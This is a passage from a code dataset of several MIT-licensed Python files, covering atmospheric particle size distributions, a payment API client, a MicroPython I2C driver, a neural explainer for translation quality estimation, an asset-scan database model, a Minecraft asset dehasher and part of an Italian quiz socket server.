rho(numpy.float): The particle density to use for the conversion\n to mass density.\n\n mass_density(numpy.array): If provided, this can be used to fix\n the mass density which will then not be queried from the data\n provider.\n\n intercept_parameter(numpy.array): If provided, this can be used to fix\n the value of the intercept parameter $N_0^*$ which will then not\n be queried from the data provider.\n\n \"\"\"\n from artssat.scattering.psd.data.psd_data import D_eq\n\n if (not mass_density is None) and (not intercept_parameter is None):\n self.mass_density = mass_density\n dm = (4.0 ** 4 / np.pi / rho * mass_density / intercept_parameter) ** (1 / 4.0)\n else:\n dm = None\n\n super().__init__(alpha, beta, rho, intercept_parameter, dm)\n\n @property\n def moment_names(self):\n return [\"mass_density\", \"intercept_parameter\"]\n\n @property\n def moments(self):\n return [self.mass_density, self.intercept_parameter]\n\n @property\n def pnd_call_agenda(self):\n @arts_agenda\n def pnd_call(ws):\n ws.psdDelanoeEtAl14(n0Star = np.nan,\n Dm = -999.0,\n iwc = np.nan,\n rho = self.rho,\n alpha = self.alpha,\n beta = self.beta,\n t_min = self.t_min,\n dm_min = self.dm_min,\n t_max = self.t_max)\n return pnd_call\n\n def _get_parameters(self):\n\n md = self.mass_density\n if md is None:\n raise Exception(\"The 'intercept_parameter' data needs to be set to \"\n \" use this function.\")\n shape = md.shape\n\n n0 = self.intercept_parameter\n if n0 is None:\n raise Exception(\"The 'intercept_parameter' data needs to be set to \"\n \" use this function.\")\n\n dm = (4.0 ** 4 / np.pi / self.rho * md / n0) ** 0.25\n\n\n try:\n alpha = np.broadcast_to(self.alpha, shape)\n except:\n raise Exception(\"Could not broadcast the data for the 'alpha' \"\n \" parameter into the shape the mass density data.\")\n\n try:\n beta = np.broadcast_to(self.beta, shape)\n except:\n raise Exception(\"Could not broadcast the data for the 'beta' \"\n \" parameter into the shape the mass density data.\")\n\n return n0, dm, alpha, beta\n\n\n def get_mass_density(self):\n \"\"\"\n Returns:\n Array containing the mass density for all the bulk volumes described\n by this PSD.\n \"\"\"\n return self.mass_density\n\n def evaluate(self, x):\n \"\"\"\n Compute value of the particle size distribution for given values of the\n size parameter.\n\n Parameters:\n x(numpy.array): Array containing the values of :math:`D_eq` at which to\n compute the number density.\n\n Returns:\n\n Array :code:`dNdD_eq` containing the computed values of the PSD. The first\n dimensions of :code:`dNdD_eq` correspond to the shape of the :code:`n0`\n parameter and the last dimension to the size parameter.\n\n \"\"\"\n n0, dm, alpha, beta = self._get_parameters()\n y = evaluate_d14(x, n0, dm, alpha, beta)\n return PSDData(x, y, D_eq(self.rho))\n", "source": "simonpf/pARTS", "license": "MIT"} {"text": "from django.conf import settings\n\nfrom mangopaysdk.mangopayapi import MangoPayApi\nfrom mangopaysdk.tools.storages.memorystoragestrategy import (\n MemoryStorageStrategy)\n\n\ndef get_mangopay_api_client():\n api = MangoPayApi()\n api.OAuthTokenManager.RegisterCustomStorageStrategy(\n MemoryStorageStrategy())\n api.Config.ClientID = settings.MANGOPAY_CLIENT_ID\n api.Config.ClientPassword = settings.MANGOPAY_PASSPHRASE\n api.Config.DebugMode = settings.MANGOPAY_DEBUG_MODE\n api.Config.BaseUrl = settings.MANGOPAY_BASE_URL\n return api\n", "source": "nunchaks/django-mangopay", "license": "MIT"} {"text": "import i2c_bus, unit\nfrom micropython import const\nimport ustruct\n\n_ADDR = const(0x27)\n_INPUT_REG = const(0x00)\n_OUTPUT_REG = const(0x01)\n_POLINV_REG = const(0x02)\n_CONFIG_REG = const(0x03)\n\nclass Ext_io:\n ALL_OUTPUT = const(0x00)\n ALL_INPUT = const(0xff)\n\n OUTPUT = const(0x00)\n INPUT = const(0x01)\n\n def __init__(self, port):\n self.i2c = i2c_bus.get(port)\n self._available()\n self.config = Ext_io.ALL_INPUT\n self.setPortMode(self.config)\n\n def _available(self):\n if self.i2c.is_ready(_ADDR) or self.i2c.is_ready(_ADDR):\n pass\n else:\n raise unit.Unit(\"Ext IO unit maybe not connect\")\n\n def _get_mode(self):\n return self.i2c.readfrom_mem(_ADDR, _CONFIG_REG, 1)[0]\n\n def setPortMode(self, mode):\n buf = bytearray(1)\n buf[0] = mode\n self.i2c.writeto_mem(_ADDR, _CONFIG_REG, buf)\n\n def setPinMode(self, pin, mode):\n config = self._get_mode()\n if (config >> pin) & 0x01 != mode:\n config ^= 1 << pin\n self.setPortMode(config)\n self.config = config\n \n def digitReadPort(self):\n return self.i2c.readfrom_mem(_ADDR, _INPUT_REG, 1)[0] \n\n def digitWritePort(self, state):\n buf = bytearray(1)\n buf[0] = state\n self.i2c.writeto_mem(_ADDR, _OUTPUT_REG, buf)\n\n def digitRead(self, pin):\n if (self.config >> pin) & 0x01 != Ext_io.INPUT:\n return (self.i2c.readfrom_mem(_ADDR, _OUTPUT_REG, 1)[0] >> pin) & 0x01\n \n return (self.digitReadPort() >> pin) & 0x01\n\n def digitWrite(self, pin, value):\n if (self.config >> pin) & 0x01 != Ext_io.OUTPUT:\n self.setPinMode(pin, Ext_io.OUTPUT)\n\n old_value = self.i2c.readfrom_mem(_ADDR, _OUTPUT_REG, 1)[0]\n if (old_value >> pin) & 0x01 != value:\n old_value ^= 1 << pin\n self.digitWritePort(old_value)\n\n def deinit(self):\n pass", "source": "TheVinhLuong102/micropy-stubs", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\nimport os\nfrom argparse import Namespace\nfrom typing import Dict, List, Optional, Tuple, Union\n\nfrom model.lookahead import LookaheadRMSprop\nfrom model.metrics import Pearson\nfrom torchmetrics import PearsonCorrcoef\n\nimport click\nimport numpy as np\nimport pytorch_lightning as pl\nimport torch\nimport yaml\nfrom model.xlm_roberta import load_checkpoint as load_checkpoint_xlmr_qe\nfrom model.bottleneck_layer import BottleneckSummary\nfrom model.gates import DiffMaskGateInput, DiffMaskGateHidden\nfrom model.getter_setter import bert_getter, bert_setter\nfrom model.utils import move_to_cuda, move_to_cpu, pad_sequence, accuracy_precision_recall_f1\n\nfrom torch.utils.data import DataLoader, RandomSampler, Subset\nfrom torchnlp.utils import collate_tensors\nfrom transformers import AdamW, get_constant_schedule_with_warmup, get_constant_schedule\n\nfrom model.utils import move_to_cpu, move_to_cuda, masked_average\n\nfrom tqdm import tqdm\nfrom utils import Config, read_qe_files\n\n\ndef load_checkpoint(checkpoint: str, **kwargs):\n if not os.path.exists(checkpoint):\n raise Exception(f\"{checkpoint} file not found!\")\n\n hparam_yaml_file = \"/\".join(checkpoint.split(\"/\")[:-1] + [\"hparams.yaml\"])\n\n if os.path.exists(hparam_yaml_file):\n with open(hparam_yaml_file) as yaml_file:\n hparams = yaml.load(yaml_file.read(), Loader=yaml.FullLoader)\n model = XLMRobertaDiffMask.load_from_checkpoint(checkpoint, hparams={**hparams, **kwargs})\n else:\n raise Exception(\"hparams file not found.\")\n\n model.eval()\n model.freeze()\n return model\n\n\nclass XLMRobertaDiffMask(pl.LightningModule):\n\n class ModelConfig(Config):\n pretrained_model: str = \"xlm-roberta-large\"\n monitor: str = \"pearson\"\n metric_mode: str = \"max\"\n\n # Data configs\n train_path: str = None\n val_path: str = None\n test_path: str = None\n load_weights_from_checkpoint: Union[str, bool] = False\n\n # Training details\n batch_size: int = 4\n\n # diff mask\n layer_pred: int = -1\n gate: str = \"hidden\"\n stop_train: bool = False\n learning_rate: float = 3.0e-5\n learning_rate_alpha: float = 3e-1\n learning_rate_placeholder: float = 1e-3\n eps: float = 0.1\n eps_valid: float = 0.8\n acc_valid: float = 0.75\n placeholder: bool = True\n\n def __init__(self, hparams: Namespace):\n super().__init__()\n self.save_hyperparameters(hparams)\n print('Loading checkpoint from:', self.hparams.load_weights_from_checkpoint)\n self.qe_model = load_checkpoint_xlmr_qe(self.hparams.load_weights_from_checkpoint)\n self.tokenizer = self.qe_model.tokenizer\n self.epoch_nr = 0\n\n # freeze base model and set it to eval mode\n self.freeze_qe_model()\n\n # diff mask\n self.learning_rate = self.hparams.get('learning_rate', 3.0e-4)\n self.layer_pred = self.hparams.get('layer_pred', -1)\n self.gate_type = self.hparams.get('gate', 'hidden')\n self.stop_train = self.hparams.get('stop_train', False)\n self.learning_rate_alpha = self.hparams.get('learning_rate_alpha', 3e-1)\n self.learning_rate_placeholder = self.hparams.get('learning_rate_placeholder', 1e-3)\n self.eps = self.hparams.get('eps', 0.1)\n self.eps_valid = self.hparams.get('eps_valid', 0.8)\n self.acc_valid = self.hparams.get('acc_valid', 0.75)\n self.placeholder = self.hparams.get('placeholder', True)\n self.val_pearson = Pearson()\n\n gate_cls = DiffMaskGateInput if self.gate_type == \"input\" else DiffMaskGateHidden\n if self.layer_pred == 0 or self.gate_type == \"input\":\n init_vector = self.qe_model.model.embeddings.word_embeddings.weight[self.tokenizer.tokenizer.mask_token_id]\n else:\n init_vector = None\n self.gate = gate_cls(\n hidden_size=self.qe_model.model.config.hidden_size,\n hidden_attention=self.qe_model.model.config.hidden_size // 4,\n num_hidden_layers=self.qe_model.model.config.num_hidden_layers + 2,\n max_position_embeddings=1,\n gate_bias=True, # whether to add bias to linear layers\n placeholder=self.placeholder, # whether to create a learnable \"baseline\" vector or to use a zero vector instead\n init_vector=init_vector\n )\n self.alpha = torch.nn.ParameterList(\n [\n torch.nn.Parameter(torch.ones(()))\n for _ in range(self.qe_model.model.config.num_hidden_layers + 2)\n ]\n )\n self.register_buffer(\"running_acc\", torch.ones((self.qe_model.model.config.num_hidden_layers + 2,)))\n self.register_buffer(\"running_l0\", torch.ones((self.qe_model.model.config.num_hidden_layers + 2,)))\n self.register_buffer(\"running_steps\", torch.zeros((self.qe_model.model.config.num_hidden_layers + 2,)))\n\n def freeze_qe_model(self) -> None:\n for param in self.qe_model.parameters():\n param.requires_grad = False\n\n def forward(self,\n input_ids: torch.Tensor,\n attention_mask: torch.Tensor,\n mt_eos_ids: torch.Tensor,\n first_sentence_mask: torch.Tensor,\n first_piece_mask: torch.Tensor,\n return_attentions: bool = False,\n return_hidden_states: bool = False\n ):\n self.qe_model.eval()\n with torch.no_grad():\n # original_batch_size = self.qe_model.hparams.batch_size\n # current_batch_size = self.hparams.batch_size\n # results = []\n # for i in range(0, current_batch_size, original_batch_size):\n # res = self.qe_model(\n # input_ids=input_ids[i:i+original_batch_size],\n # attention_mask=attention_mask[i:i+original_batch_size],\n # mt_eos_ids=mt_eos_ids[i:i+original_batch_size],\n # first_sentence_mask=first_sentence_mask[i:i+original_batch_size],\n # first_piece_mask=first_piece_mask[i:i+original_batch_size],\n # return_attentions=False,\n # return_hidden_states=False,\n # )\n # results.append(res)\n # return torch.cat(results, dim=0)\n return self.qe_model(\n input_ids=input_ids,\n attention_mask=attention_mask,\n mt_eos_ids=mt_eos_ids,\n first_sentence_mask=first_sentence_mask,\n first_piece_mask=first_piece_mask,\n return_attentions=return_attentions,\n return_hidden_states=return_hidden_states,\n )\n\n def forward_explainer(\n self, inputs_dict, labels=None, layer_pred=None, attribution=False, return_logits=False\n ):\n input_ids = inputs_dict['input_ids']\n mask = inputs_dict['attention_mask']\n logits_orig, hidden_states = bert_getter(self.qe_model.model, inputs_dict, self.forward)\n\n if layer_pred is None:\n if self.stop_train:\n stop_train = (\n lambda i: self.running_acc[i] > 0.75\n and self.running_l0[i] < 0.1\n and self.running_steps[i] > 100\n )\n p = np.array(\n [0.1 if stop_train(i) else 1 for i in range(len(hidden_states))]\n )\n layer_pred = torch.tensor(\n np.random.choice(range(len(hidden_states)), (), p=p / p.sum()),\n device=input_ids.device,\n )\n else:\n layer_pred = torch.randint(len(hidden_states), ()).item()\n\n if \"hidden\" in self.hparams.gate:\n layer_drop = layer_pred\n else:\n layer_drop = 0\n\n (new_hidden_state, gates, expected_L0, gates_full, expected_L0_full,) = self.gate(\n hidden_states=hidden_states,\n mask=mask,\n layer_pred=None if attribution else layer_pred,\n )\n\n if attribution and not return_logits:\n return expected_L0_full\n else:\n new_hidden_states = (\n [None] * layer_drop\n + [new_hidden_state]\n + [None] * (len(hidden_states) - layer_drop - 1)\n )\n logits, _ = bert_setter(self.qe_model.model, inputs_dict, new_hidden_states, self.forward)\n\n if attribution and return_logits:\n return logits, logits_orig, expected_L0_full\n\n return (\n logits,\n logits_orig,\n gates,\n expected_L0,\n gates_full,\n expected_L0_full,\n layer_drop,\n layer_pred,\n )\n\n def training_step(\n self, batch: Tuple[torch.Tensor], batch_nb: int, optimizer_idx=None, **kwargs\n ) -> Dict[str, torch.Tensor]:\n batch_input, batch_target = batch\n mask = batch_input['attention_mask'].long()\n (\n logits,\n logits_orig,\n gates,\n expected_L0,\n gates_full,\n expected_L0_full,\n layer_drop,\n layer_pred,\n ) = self.forward_explainer(batch_input)\n squared_diff = (logits - logits_orig) ** 2\n loss_c = (squared_diff * mask.float()).sum(-1) / mask.sum(-1).float() - self.eps\n loss_g = (expected_L0 * mask.float()).sum(-1) / mask.sum(-1).float()\n loss = 1000.0 * self.alpha[layer_pred] * loss_c + loss_g\n loss_value = loss.mean()\n\n # acc, _, _, _ = accuracy_precision_recall_f1(\n # logits.argmax(-1), logits_orig.argmax(-1), average=True\n # )\n # pretend that pearson is acc :-p\n pearson_fn = PearsonCorrcoef()\n acc = pearson_fn(logits.view(-1).cpu(), logits_orig.view(-1).cpu()).cuda()\n l0 = (expected_L0.exp() * mask).sum(-1) / mask.sum(-1)\n\n # outputs_dict = {\n # \"loss\": loss_value,\n # \"loss_c\": loss_c.mean(-1),\n # \"loss_g\": loss_g.mean(-1),\n # \"alpha\": self.alpha[layer_pred].mean(-1),\n # \"acc\": acc,\n # \"l0\": l0.mean(-1),\n # \"layer_pred\": layer_pred,\n # \"r_acc\": self.running_acc[layer_pred],\n # \"r_l0\": self.running_l0[layer_pred],\n # \"r_steps\": self.running_steps[layer_pred],\n # }\n # for k, v in outputs_dict.items():\n # self.log(k, v.item(), on_step=True, on_epoch=True)\n self.log(\"loss\", loss_value, on_step=True, on_epoch=True)\n self.log(\"loss_c\", loss_c.mean(-1), on_step=True, on_epoch=True)\n self.log(\"loss_g\", loss_g.mean(-1), on_step=True, on_epoch=True)\n self.log(\"l0\", l0.mean(-1), on_step=True, on_epoch=True)\n self.log(\"acc\", acc, on_step=True, on_epoch=True)\n\n self.running_acc[layer_pred] = self.running_acc[layer_pred] * 0.9 + acc * 0.1\n self.running_l0[layer_pred] = self.running_l0[layer_pred] * 0.9 + l0.mean(-1) * 0.1\n self.running_steps[layer_pred] += 1\n\n return loss_value\n\n def validation_step(\n self,\n batch: Tuple[Dict[str, torch.Tensor], Dict[str, torch.Tensor]],\n batch_nb: int,\n dataloader_idx: int,\n *args, **kwargs\n ):\n self.eval()\n batch_input, batch_target = batch\n mask = batch_input['attention_mask'].long()\n (\n logits,\n logits_orig,\n gates,\n expected_L0,\n gates_full,\n expected_L0_full,\n layer_drop,\n layer_pred,\n ) = self.forward_explainer(batch_input)\n squared_diff = (logits - logits_orig) ** 2\n loss_c = (squared_diff * mask.float()).sum(-1) / mask.sum(-1).float() - self.eps\n loss_g = (expected_L0 * mask.float()).sum(-1) / mask.sum(-1).float()\n loss = 1000.0 * self.alpha[layer_pred] * loss_c + loss_g\n loss_value = loss.mean(-1)\n acc = self.val_pearson(logits.view(-1), logits_orig.view(-1))\n self.log(\"val_pearson\", acc)\n\n l0 = (expected_L0.exp() * mask).sum(-1) / mask.sum(-1)\n outputs_dict = {\n \"val_loss\": loss_value,\n \"val_loss_c\": loss_c.mean(-1),\n \"val_loss_g\": loss_g.mean(-1),\n \"val_alpha\": self.alpha[layer_pred].mean(-1),\n \"val_acc\": acc,\n \"val_l0\": l0.mean(-1),\n \"val_layer_pred\": layer_pred,\n \"val_r_acc\": self.running_acc[layer_pred],\n \"val_r_l0\": self.running_l0[layer_pred],\n \"val_r_steps\": self.running_steps[layer_pred],\n }\n return outputs_dict\n\n def validation_epoch_end(self, outputs):\n outputs_val = outputs[1]\n outputs_dict = {\n k: [e[k] for e in outputs_val if k in e]\n for k in (\"val_loss_c\", \"val_loss_g\", \"val_acc\", \"val_l0\")\n }\n outputs_dict = {k: sum(v) / len(v) for k, v in outputs_dict.items()}\n outputs_dict[\"val_loss_c\"] += self.eps\n val_pearson = self.val_pearson.compute()\n outputs_dict = {\n \"val_loss\": outputs_dict[\"val_l0\"]\n if outputs_dict[\"val_loss_c\"] <= self.eps_valid and val_pearson >= self.acc_valid\n else torch.full_like(outputs_dict[\"val_l0\"], float(\"inf\")),\n **outputs_dict,\n }\n\n\n # print(\n # \"Epoch {}: Validation accuracy = {:.2f}, gates at zero = {:.2%}, constraint = {:.5f}\".format(\n # self.epoch_nr,\n # outputs_dict[\"val_acc\"],\n # 1 - outputs_dict[\"val_l0\"],\n # outputs_dict[\"val_loss_c\"],\n # )\n # )\n self.log(\"val_pearson\", val_pearson, on_epoch=True, prog_bar=True, logger=True)\n self.val_pearson.reset()\n for k, v in outputs_dict.items():\n self.log(k, v, on_epoch=True, prog_bar=True, logger=True)\n\n def configure_optimizers(self):\n self.epoch_total_steps = len(self.train_dataset) // (self.hparams.batch_size * max(1, self.trainer.num_gpus))\n optimizers = [\n AdamW(\n params=[\n {\n \"params\": self.gate.g_hat.parameters(),\n \"lr\": self.learning_rate,\n },\n {\n \"params\": self.gate.placeholder.parameters()\n if isinstance(self.gate.placeholder, torch.nn.ParameterList)\n else [self.gate.placeholder],\n \"lr\": self.learning_rate_placeholder,\n },\n ],\n # centered=True,\n ),\n AdamW(\n params=[self.alpha]\n if isinstance(self.alpha, torch.Tensor)\n else self.alpha.parameters(),\n lr=self.learning_rate_alpha,\n ),\n ]\n\n schedulers = [\n {\n \"scheduler\": get_constant_schedule_with_warmup(optimizers[0], 12 * 100),\n \"interval\": \"step\",\n },\n get_constant_schedule(optimizers[1]),\n ]\n return optimizers, schedulers\n\n def optimizer_step(self, current_epoch, batch_idx, optimizer, optimizer_idx, optimizer_closure=None, **kwargs):\n if optimizer_idx == 0:\n optimizer.step(closure=optimizer_closure)\n optimizer.zero_grad()\n for g in optimizer.param_groups:\n for p in g[\"params\"]:\n p.grad = None\n\n elif optimizer_idx == 1:\n for i in range(len(self.alpha)):\n if self.alpha[i].grad:\n self.alpha[i].grad *= -1\n\n optimizer.step(closure=optimizer_closure)\n optimizer.zero_grad()\n for g in optimizer.param_groups:\n for p in g[\"params\"]:\n p.grad = None\n\n for i in range(len(self.alpha)):\n self.alpha[i].data = torch.where(\n self.alpha[i].data < 0,\n torch.full_like(self.alpha[i].data, 0),\n self.alpha[i].data,\n )\n self.alpha[i].data = torch.where(\n self.alpha[i].data > 200,\n torch.full_like(self.alpha[i].data, 200),\n self.alpha[i].data,\n )\n\n def prepare_sample(\n self, sample: List[Dict[str, Union[str, float]]], inference: bool = False, cuda: bool = False\n ) -> Union[\n Tuple[Dict[str, torch.Tensor], Dict[str, torch.Tensor]], Dict[str, torch.Tensor]\n ]:\n \"\"\"\n Function that prepares a sample to input the model.\n\n :param sample: list of dictionaries.\n :param inference: If set to true prepares only the model inputs.\n\n :returns: Tuple with 2 dictionaries (model inputs and targets).\n If `inference=True` returns only the model inputs.\n \"\"\"\n collated_sample = collate_tensors(sample)\n mt_inputs = self.tokenizer.batch_encode(collated_sample[\"src\"], collated_sample[\"mt\"])\n\n # bounds, bounds_mask = BottleneckSummary.get_bounds_from_first_piece_mask(mt_inputs['first_piece_mask'])\n # mt_inputs['bounds'] = bounds\n # mt_inputs['bounds_mask'] = bounds_mask\n\n # might be useful later:\n # pe_inputs = self.tokenizer.batch_encode(collated_sample[\"src\"], collated_sample[\"pe\"])\n if cuda:\n mt_inputs = move_to_cuda(mt_inputs) if cuda and torch.cuda.is_available() else mt_inputs\n\n if inference:\n return mt_inputs\n\n tgt_tags = [torch.tensor(s['tgt_tags']) for s in sample]\n src_tags = [torch.tensor(s['src_tags']) for s in sample]\n word_tags = [torch.tensor(s['tgt_tags'] + s['src_tags']) for s in sample]\n fs_mask_word_tags = [torch.tensor([1]*len(s['tgt_tags']) + [2]*len(s['src_tags'])) for s in sample]\n\n targets = {\n \"score\": torch.tensor(collated_sample[\"score\"], dtype=torch.float),\n \"hter\": torch.tensor(collated_sample[\"hter\"], dtype=torch.float),\n # NLLLoss will ignore -100 labels directly (hardcoded)\n \"tgt_tags\": pad_sequence(tgt_tags, padding_value=-100, end=True),\n \"src_tags\": pad_sequence(src_tags, padding_value=-100, end=False),\n \"word_tags\": pad_sequence(word_tags, padding_value=-100, end=True),\n \"fs_mask_word_tags\": pad_sequence(fs_mask_word_tags, padding_value=-100, end=True)\n }\n\n if cuda:\n targets = move_to_cuda(targets) if cuda and torch.cuda.is_available() else targets\n\n return mt_inputs, targets\n\n def setup(self, stage) -> None:\n self.train_dataset = read_qe_files(self.hparams.train_path)\n self.val_reg_dataset = read_qe_files(self.hparams.val_path)\n\n # Always validate the model with 2k examples from training to control overfit.\n train_subset = np.random.choice(a=len(self.train_dataset), size=2000)\n self.train_subset = Subset(self.train_dataset, train_subset)\n\n if self.hparams.test_path:\n self.test_dataset = read_qe_files(self.hparams.test_path)\n\n def train_dataloader(self) -> DataLoader:\n return DataLoader(\n dataset=self.train_dataset,\n sampler=RandomSampler(self.train_dataset),\n batch_size=self.hparams.batch_size,\n collate_fn=self.prepare_sample,\n num_workers=1,\n )\n\n def val_dataloader(self) -> List[DataLoader]:\n return [\n DataLoader(\n dataset=self.train_subset,\n batch_size=self.hparams.batch_size,\n collate_fn=self.prepare_sample,\n # num_workers=multiprocessing.cpu_count(),\n num_workers=1 # 0 so ipdb.set_trace() works\n ),\n DataLoader(\n dataset=self.val_reg_dataset,\n batch_size=self.hparams.batch_size,\n collate_fn=self.prepare_sample,\n # num_workers=multiprocessing.cpu_count(),\n num_workers=1 # 0 so ipdb.set_trace() works\n )\n ]\n\n def predict(self, samples, show_progress=True, cuda=True, batch_size=2):\n if self.training:\n self.eval()\n\n if cuda and torch.cuda.is_available():\n self.to(\"cuda\")\n\n batch_size = self.hparams.batch_size if batch_size < 1 else batch_size\n with torch.no_grad():\n batches = [\n samples[i : i + batch_size] for i in range(0, len(samples), batch_size)\n ]\n model_inputs = []\n if show_progress:\n pbar = tqdm(\n total=len(batches),\n desc=\"Preparing batches...\",\n dynamic_ncols=True,\n leave=None,\n )\n for batch in batches:\n batch = self.prepare_sample(batch, inference=True)\n model_inputs.append(batch)\n if show_progress:\n pbar.update(1)\n\n if show_progress:\n pbar.close()\n\n if show_progress:\n pbar = tqdm(\n total=len(batches),\n desc=\"Scoring hypothesis...\",\n dynamic_ncols=True,\n leave=None,\n )\n scores = []\n for model_input in model_inputs:\n if cuda and torch.cuda.is_available():\n model_input = move_to_cuda(model_input)\n model_out = self.forward(**model_input)\n model_out = move_to_cpu(model_out)\n else:\n model_out = self.forward(**model_input)\n\n model_scores = model_out.numpy().tolist()\n for i in range(len(model_scores)):\n scores.append(model_scores[i])\n\n if show_progress:\n pbar.update(1)\n\n if show_progress:\n pbar.close()\n\n assert len(scores) == len(samples)\n for i in range(len(scores)):\n samples[i][\"predicted_score\"] = scores[i]\n return samples, scores\n", "source": "deep-spin/explainable-qe-shared-task", "license": "MIT"} {"text": "from . import db\n\n\nclass Scan(db.Model):\n # primary keys are required by SQLAlchemy\n ID = db.Column(db.Integer, primary_key=True)\n Hostname = db.Column(db.String(100))\n IP = db.Column(db.String(100))\n MAC = db.Column(db.String(100))\n Lastseen = db.Column(db.String(100))\n Status = db.Column(db.String(100))\n", "source": "shanmukmichael/Asset-Discovery-Tool", "license": "MIT"} {"text": "import sys\nimport os\nimport os.path\nfrom shutil import copyfile\n\n\n\"\"\"\nSource code shamelessly stolen from https://github.com/PepijnMC/Minecraft/blob/master/Dehash/dehash.py\n\nNote that this is current not in use.\n\nTODO:\n - command line args for specifying version\n - auto update config through minecraft files alone\n\"\"\"\n\ncurr_path = os.getcwd()\ndefault_version = '1.12'\n\ndef file_length(file):\n with open(file) as f:\n for i, l in enumerate(f):\n pass\n return i + 1\n\ndef error_handler(error):\n print(error)\n os.chdir(curr_path)\n log = open('error_log.txt', 'w')\n log.write(error)\n log.close()\n\n\ndef main():\n hash_error = 0\n os.chdir('indexes')\n if len(sys.argv) > 1:\n version = sys.argv[1]\n if 'json' in version:\n indexversion = version\n splitversion = version.split('.')\n version = '%s.%s' % (splitversion[0], splitversion[1])\n else:\n indexversion = version + '.json'\n if os.path.isfile('%s' % indexversion):\n index = open('%s' % (indexversion), 'r')\n else:\n error_handler('Error: Invalid index file!')\n sys.exit()\n length = file_length('%s' % (indexversion)) / 4\n else:\n version = default_version\n index = open('%s.json' % (version), 'r')\n length = file_length('%s.json' % (version)) / 4\n\n lines = index.readlines()\n print('\\nDehashing sound and language files...')\n for line in range(int(length)):\n name = lines[line*4-2]\n if 'minecraft/sounds' in name:\n path = name[22:-5]\n hash = lines[line*4-1][15:-3]\n hashfolder = hash[0:2]\n os.chdir(curr_path)\n if os.path.isdir('objects/%s' % (hashfolder)):\n os.chdir('objects/%s' % (hashfolder))\n if os.path.isfile(hash):\n folders = path.split('/')\n sound = folders[-1]\n del folders[-1]\n filepath = '/'.join(folders)\n os.makedirs('%s/_soundfiles/%s/%s' % (curr_path, version, filepath), exist_ok=True)\n if path == 'json':\n copyfile('%s/objects/%s/%s' % (curr_path, hashfolder, hash), '%s/_soundfiles/%s/sounds.json' % (curr_path, version))\n else:\n copyfile('%s/objects/%s/%s' % (curr_path, hashfolder, hash), '%s/_soundfiles/%s/%s/%s' % (curr_path, version, filepath, sound))\n else:\n hash_error += 1\n else:\n hash_error += 1\n\n elif 'minecraft/lang' in name:\n lang = name[20:-5]\n hash = lines[line*4-1][15:-3]\n hashfolder = hash[0:2]\n os.chdir(curr_path)\n if os.path.isdir('objects/%s' % (hashfolder)):\n os.chdir('objects/%s' % (hashfolder))\n if os.path.isfile(hash):\n os.makedirs('%s/_langfiles/%s' % (curr_path, version), exist_ok=True)\n copyfile('%s/objects/%s/%s' % (curr_path, hashfolder, hash),'%s/_langfiles/%s/%s' % (curr_path, version, lang))\n else:\n hash_error += 1\n else:\n hash_error += 1\n\n print('Done!')\n if hash_error > 1:\n error_handler('Error: %s hashed files were not found! Please launch the Minecraft version from the index file used (the default index file used is from version %s).' % (hash_error,default_version))\n index.close()\n\nif __name__ == \"__main__\":\n pass\n # main()\n", "source": "Aquafina-water-bottle/Fena", "license": "MIT"} {"text": "from socket import *\r\nfrom threading import *\r\nfrom random import choice\r\nimport threading\r\nimport random\r\nimport sys\r\n\r\n# costanti\r\nPORTA = 53000\r\nBUFSIZE = 4096\r\nHOST = '127.0.0.1' # prima era ''\r\nFORMAT = 'utf-8' # prima era 'utf8'\r\n\r\n# utente\r\n\r\nrisultati = [] # risultati finali\r\n\r\nresults = {} # {dizionario} socket : punteggio_finale\r\n\r\nindirizzi = {} # indirizzi[utente] = addr\r\n\r\nclienti = {} # clienti[utente] = nome\r\n\r\nthreads = []\r\n\r\n# liste per la formazione della leaderboard (classifica)\r\nnumero_risposte_giocatori = []\r\nusers_leaderboard = []\r\n\r\n# condition variables per la coordinazione delle threads\r\ncond = threading.Condition()\r\n\r\ncond_leaderboard = threading.Condition()\r\n\r\n# Server\r\nglobal SERVER # HOST, PORTA\r\nSERVER = socket(AF_INET, SOCK_STREAM)\r\nSERVER.bind((HOST, PORTA))\r\n\r\n# Ruoli\r\nmale_roles = [\"Mago\", \"Stregone\", \"Apprendista Stregone\", \"Guerriero\", \"Evocatore\", \"Arciere\", \"Balestriere\",\r\n\"Re\", \"Principe\",\"Cavaliere\"]\r\nfemale_roles = [\"Maga\", \"Strega\", \"Apprendista Stregone\", \"Guerriera\", \"Evocatrice\", \"Arciere\", \"Balestriere\",\r\n\"Regina\", \"Principessa\",\"Cavaliera\", \"Dama\"]\r\n\r\n# dizionario con le domande e le possibili risposte\r\ndomande = {\r\n \"Quale protocollo controlla i pacchetti inviati?\\n\" : [\"TCP\", \"UDP\"],\r\n \"Quale protocollo invia pacchetti senza controllo?\\n\" : [\"UDP\", \"TCP\"]\r\n #\"Nel 3-Way Handshake, cosa risponde il server al client?\\n\" : [\"ACK\", \"SYN ACK\"],\r\n #\"Nel 3-Way Handshake, cosa invia il client per stabilire una connessione?\\n\" : [\"SYN\", \"ACK\"],\r\n #\"Nel 3-Way Handshake, cosa invia infine il client in risposta al server?\\n\" : [\"SYN\", \"ACK\"]\r\n}\r\n\r\ndomande_errate = [\r\n \"Domanda errata0\\n\",\"Domanda errata1\\n\", \"Domanda errata2\\n\", \"Domanda errata3\\n\" #, \"Domanda errata4\\n\"\r\n]\r\n\r\n# Questa funzione sceglie un ruolo maschile o femminile in base al nome passato come parametro.\r\ndef pick_role(nome):\r\n ruolo = \"\"\r\n print(\"nome[-1]: \" + nome[-1])\r\n # metto il .lower perch\u00e8 cos\u00ec anche se il nome viene scritto in maiuscolo, comunque lo controllo\r\n if(str(nome[-1]).lower() == 'a' and not(str(nome).lower() == \"luca\") and not(str(nome).lower() == \"andrea\")): #and not nome == \"luca\" or not nome == \"andrea\"): # l'indice -1 ti fa ottenere l'ultimo carattere della stringa\r\n print(\"Female role\")\r\n ruolo = choice(list(female_roles))\r\n elif(str(nome[-1]).lower() == 'o'):\r\n print(\"Male role\")\r\n ruolo = choice(list(male_roles))\r\n else:\r\n ruolo = choice(list(male_roles))\r\n print(\"ruolo: \" + ruolo)\r\n return ruolo\r\n\r\n# Questa funzione serve per selezionare 3 domande, di cui 1 trabocchetto, e di inviarle all'utente.\r\ndef pick_questions(cliente_connection):\r\n domanda1 = choice(list(domande.keys())) # choice server per scegliere una domanda casuale dal dizionario domande\r\n domanda2 = choice(list(domande.keys()))\r\n while(domanda1 == domanda2):\r\n domanda2 = choice(list(domande.keys()))\r\n domanda3 = choice(list(domande_errate))\r\n\r\n questions = []\r\n questions.append(domanda1)\r\n questions.append(domanda2) \r\n questions.append(domanda3)\r\n print(\"questions prima dello shuffle: 